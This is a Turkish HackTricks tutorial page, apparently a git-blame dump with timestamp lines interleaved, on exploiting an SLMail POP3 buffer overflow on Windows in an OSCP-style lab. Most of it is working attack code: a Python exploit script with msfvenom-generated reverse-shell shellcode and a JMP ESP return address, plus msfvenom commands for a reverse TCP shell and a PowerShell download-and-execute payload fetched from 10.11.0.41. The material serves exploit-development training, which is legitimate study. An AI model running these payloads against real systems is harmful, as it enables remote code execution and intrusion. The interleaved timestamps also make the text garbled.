2024-04-07 03:33:05 +00:00
# Windows Exploiting (Temel Kı lavuz - OSCP seviyesi)
2024-04-07 03:13:19 +00:00
2024-07-18 17:54:59 +00:00
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayı n: < img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Eğitim AWS Kı rmı zı Takı m Uzmanı (ARTE)** ](https://training.hacktricks.xyz/courses/arte )< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCP Hacking'i öğrenin ve uygulayı n: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Eğitim GCP Kı rmı zı Takı m Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line"> ](https://training.hacktricks.xyz/courses/grte )
2024-04-07 03:13:19 +00:00
2024-07-18 17:54:59 +00:00
< details >
2024-04-07 03:13:19 +00:00
2024-07-18 17:54:59 +00:00
< summary > HackTricks'i Destekleyin< / summary >
2024-04-07 03:13:19 +00:00
2024-07-18 17:54:59 +00:00
* [**Abonelik planları nı ** ](https://github.com/sponsors/carlospolop ) kontrol edin!
* 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) katı lı n veya [**telegram grubuna** ](https://t.me/peass ) katı lı n veya bizi **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )** takip edin.**
* **Hacking püf noktaları nı paylaşarak PR göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2024-04-07 03:13:19 +00:00
< / details >
2024-07-18 17:54:59 +00:00
{% endhint %}
2024-04-07 03:13:19 +00:00
## **SLMail servisini kurmaya başlayı n**
## SLMail servisini yeniden başlatı n
2024-05-05 22:43:52 +00:00
Her seferinde **SLMail servisini yeniden başlatmanı z gerektiğinde** bunu Windows konsolunu kullanarak yapabilirsiniz:
2024-04-07 03:13:19 +00:00
```
net start slmail
```
2024-05-05 22:43:52 +00:00
![](< .. / . gitbook / assets / image ( 988 ) . png > )
2024-04-07 03:13:19 +00:00
## Çok temel python saldı rı şablonu
```python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
## **Immunity Debugger Yazı Tipini Değiştirme**
2024-05-05 22:43:52 +00:00
`Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` 'ye gidin.
2024-04-07 03:13:19 +00:00
## **İşlemi Immunity Debugger'a Bağlama:**
**File --> Attach**
2024-05-05 22:43:52 +00:00
![](< .. / . gitbook / assets / image ( 869 ) . png > )
2024-04-07 03:13:19 +00:00
**Ve START düğmesine bası n**
## **Saldı rı yı gönderin ve EIP'nin etkilenip etkilenmediğini kontrol edin:**
2024-05-05 22:43:52 +00:00
![](< .. / . gitbook / assets / image ( 906 ) . png > )
2024-04-07 03:13:19 +00:00
2024-05-05 22:43:52 +00:00
Servisi her durdurduğunuzda, bu sayfanı n başı nda belirtildiği gibi yeniden başlatmanı z gerekmektedir.
2024-04-07 03:13:19 +00:00
## EIP'yi değiştirmek için bir desen oluşturun
2024-05-05 22:43:52 +00:00
Desen, önceki servisi durdurmak için kullandı ğı nı z tampon kadar büyük olmalı dı r.
2024-04-07 03:13:19 +00:00
2024-05-05 22:43:52 +00:00
![](< .. / . gitbook / assets / image ( 420 ) . png > )
2024-04-07 03:13:19 +00:00
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
2024-07-18 17:54:59 +00:00
Değiştirme exploitin tamponunu ve deseni ayarla ve exploit'i başlat.
2024-04-07 03:13:19 +00:00
2024-04-07 03:33:05 +00:00
Yeni bir çökme oluşmalı , ancak farklı bir EIP adresi ile:
2024-04-07 03:13:19 +00:00
2024-05-05 22:43:52 +00:00
![](< .. / . gitbook / assets / image ( 636 ) . png > )
2024-04-07 03:13:19 +00:00
2024-07-18 17:54:59 +00:00
Adresin deseninizde olup olmadı ğı nı kontrol edin:
2024-04-07 03:13:19 +00:00
2024-05-05 22:43:52 +00:00
![](< .. / . gitbook / assets / image ( 418 ) . png > )
2024-04-07 03:13:19 +00:00
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
2024-07-18 17:54:59 +00:00
Görünüşe göre **tamponun 2606 ofsetindeki EIP'yi değiştirebiliyoruz** .
2024-04-07 03:13:19 +00:00
Exploit'in tamponunu değiştirerek kontrol edin:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
2024-05-05 22:43:52 +00:00
Bu tamponla EIP çöktüğünde 42424242 ("BBBB")'ye işaret etmelidir.
2024-04-07 03:13:19 +00:00
2024-05-05 22:43:52 +00:00
![](< .. / . gitbook / assets / image ( 874 ) . png > )
2024-04-07 03:13:19 +00:00
2024-05-05 22:43:52 +00:00
![](< .. / . gitbook / assets / image ( 92 ) . png > )
2024-04-07 03:13:19 +00:00
Görünüşe göre çalı şı yor.
## Stack içinde Shellcode alanı nı kontrol et
2024-07-18 17:54:59 +00:00
Güçlü bir shellcode için 600B yeterli olmalı dı r.
2024-04-07 03:13:19 +00:00
2024-04-07 03:33:05 +00:00
Şimdi tamponu değiştirelim:
2024-04-07 03:13:19 +00:00
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
2024-07-18 17:54:59 +00:00
Başlatı lan yeni saldı rı yı kontrol edin ve EBP'yi ve kullanı şlı shellcode'un uzunluğunu kontrol edin
2024-04-07 03:13:19 +00:00
2024-05-05 22:43:52 +00:00
![](< .. / . gitbook / assets / image ( 119 ) . png > )
2024-04-07 03:13:19 +00:00
2024-05-05 22:43:52 +00:00
![](< .. / . gitbook / assets / image ( 879 ) . png > )
2024-04-07 03:13:19 +00:00
Zafiyet ulaşı ldı ğı nda EBP'nin shellcode'a işaret ettiğini ve burada bir shellcode yerleştirmek için bolca alanı mı z olduğunu görebilirsiniz.
Bu durumda **0x0209A128'den 0x0209A2D6'ya kadar = 430B.** Yeterli.
2024-05-05 22:43:52 +00:00
## Kötü karakterleri kontrol edin
2024-04-07 03:13:19 +00:00
Yine tamponu değiştirin:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
2024-07-18 17:54:59 +00:00
Badchars 0x01'den başlar çünkü 0x00 neredeyse her zaman kötüdür.
2024-04-07 03:13:19 +00:00
2024-05-05 22:43:52 +00:00
Bu yeni tamponla tekrar tekrar saldı rı yı yürütün ve gereksiz bulunan karakterleri silin:
2024-04-07 03:13:19 +00:00
Örneğin:
2024-05-05 22:43:52 +00:00
Bu durumda **0x0A karakterini kullanmamalı sı nı z** (0x09 karakterinde hiçbir şey belleğe kaydedilmez).
2024-04-07 03:13:19 +00:00
2024-05-05 22:43:52 +00:00
![](< .. / . gitbook / assets / image ( 111 ) . png > )
2024-04-07 03:13:19 +00:00
2024-07-18 17:54:59 +00:00
Bu durumda **0x0D karakterinden kaçı nı lı yor** :
2024-04-07 03:13:19 +00:00
2024-05-05 22:43:52 +00:00
![](< .. / . gitbook / assets / image ( 1098 ) . png > )
2024-04-07 03:13:19 +00:00
2024-05-05 22:43:52 +00:00
## Bir JMP ESP bulun ve geri dönüş adresi olarak kullanı n
2024-04-07 03:13:19 +00:00
Kullanarak:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
2024-07-18 17:54:59 +00:00
**Bellek haritaları nı listeleyeceksiniz**. Şu özelliklere sahip bir DLL arayı n:
2024-04-07 03:13:19 +00:00
2024-05-05 22:43:52 +00:00
* **Yer Değiştirme: Yanlı ş**
2024-04-07 03:13:19 +00:00
* **SafeSEH: Yanlı ş**
* **ASLR: Yanlı ş**
* **NX Uyumluluğu: Yanlı ş**
2024-07-18 17:54:59 +00:00
* **İşletim Sistemi DLL'si: Doğru**
2024-04-07 03:13:19 +00:00
2024-05-05 22:43:52 +00:00
![](< .. / . gitbook / assets / image ( 555 ) . png > )
2024-04-07 03:13:19 +00:00
2024-07-18 17:54:59 +00:00
Şimdi, bu bellek içinde bazı JMP ESP baytları nı bulmalı sı nı z, bunu yapmak için şunu çalı ştı rı n:
2024-04-07 03:13:19 +00:00
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**Ardı ndan, eğer bir adres bulunursa, kötü karakter içermeyen bir adres seçin:**
2024-05-05 22:43:52 +00:00
![](< .. / . gitbook / assets / image ( 605 ) . png > )
2024-04-07 03:13:19 +00:00
2024-05-05 22:43:52 +00:00
**Bu durumda, örneğin: \_0x5f4a358f**\_
2024-04-07 03:13:19 +00:00
## Kabuk kodu oluşturun
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
Eğer exploit çalı şmı yorsa ama çalı şması gerekiyorsa (ImDebg ile shellcode'a ulaşı ldı ğı nı görebilirsiniz), farklı shellcodelar oluşturmayı deneyin (aynı parametrelerle farklı shellcodelar oluşturmak için msfvenom'u kullanı n).
2024-07-18 17:54:59 +00:00
Shellcode'un başı na **bazı NOPS'ları ekleyin** ve onu ve return adresini JMP ESP'ye yönlendirerek exploit'i tamamlayı n:
2024-04-07 03:13:19 +00:00
```bash
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
{% hint style="warning" %}
2024-07-18 17:54:59 +00:00
Kendilerini **üzerine yazacak** shellcode'lar bulunmaktadı r, bu yüzden shellcode'un önüne her zaman bir miktar NOP eklemek önemlidir.
2024-04-07 03:13:19 +00:00
{% endhint %}
2024-07-18 17:54:59 +00:00
## Shellcode'u geliştirme
2024-04-07 03:13:19 +00:00
Bu parametreleri ekleyin:
2024-04-07 03:33:05 +00:00
```bash
2024-04-07 03:13:19 +00:00
EXITFUNC=thread -e x86/shikata_ga_nai
```
2024-07-18 17:54:59 +00:00
{% hint style="success" %}
Öğren ve AWS Hacking pratiği yap:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Eğitim AWS Kı rmı zı Takı m Uzmanı (ARTE)** ](https://training.hacktricks.xyz/courses/arte )< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Öğren ve GCP Hacking pratiği yap: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Eğitim GCP Kı rmı zı Takı m Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line"> ](https://training.hacktricks.xyz/courses/grte )
2024-04-07 03:13:19 +00:00
2024-07-18 17:54:59 +00:00
< details >
2024-04-07 03:13:19 +00:00
2024-07-18 17:54:59 +00:00
< summary > HackTricks'i Destekle< / summary >
2024-04-07 03:13:19 +00:00
2024-07-18 17:54:59 +00:00
* [**Abonelik planları nı ** ](https://github.com/sponsors/carlospolop ) kontrol et!
* 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) katı l veya [**telegram grubuna** ](https://t.me/peass ) katı l veya bizi **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )** takip et.**
* **Hacking püf noktaları nı paylaşmak için PR'lar göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulun.
2024-04-07 03:13:19 +00:00
< / details >
2024-07-18 17:54:59 +00:00
{% endhint %}